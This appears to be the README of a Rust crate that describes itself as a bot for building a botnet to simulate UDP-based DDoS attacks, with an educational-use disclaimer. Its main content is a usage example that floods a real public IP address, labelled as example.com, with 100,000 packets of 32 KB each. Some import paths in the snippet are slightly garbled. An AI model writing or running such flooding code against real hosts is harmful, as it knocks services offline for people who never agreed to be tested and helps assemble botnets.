Introduction

This crate can be used as a bot to build a botnet for simulating UDP-based DDoS attacks (but only for educational and pentesting purposes, see the GPLv3 license, under which the library is distributed).

Usage

Enter this text to your Cargo.toml file: toml [dependencies] anevicon_core = "*"

And this one to your src/main.rs source: ```rust use std::net::UdpSocket; use std::num::NonZeroUsize;

use aneviconcore::summary::TestSummary; use aneviconcore::testing::{execute, HandleErrorResult};

fn main() { // Setup the socket connected to the example.com domain let socket = UdpSocket::bind("0.0.0.0:0").expect("Cannot setup the socket"); socket .connect("93.184.216.34:80") .expect("Cannot connect the socket to example.com");

let mut summary = TestSummary::default();

// Finally, execute a test that will send 100000 packets
// each containing 32768 bytes.
execute(
    &socket,
    &vec![0; 32768],
    NonZeroUsize::new(100000).unwrap(),
    &mut summary,
    |error| panic!("{}", error),
);

println!(
    "The total minutes passed: {}",
    summary.time_passed().as_secs() / 60
);

} ```

For more details see the documentation.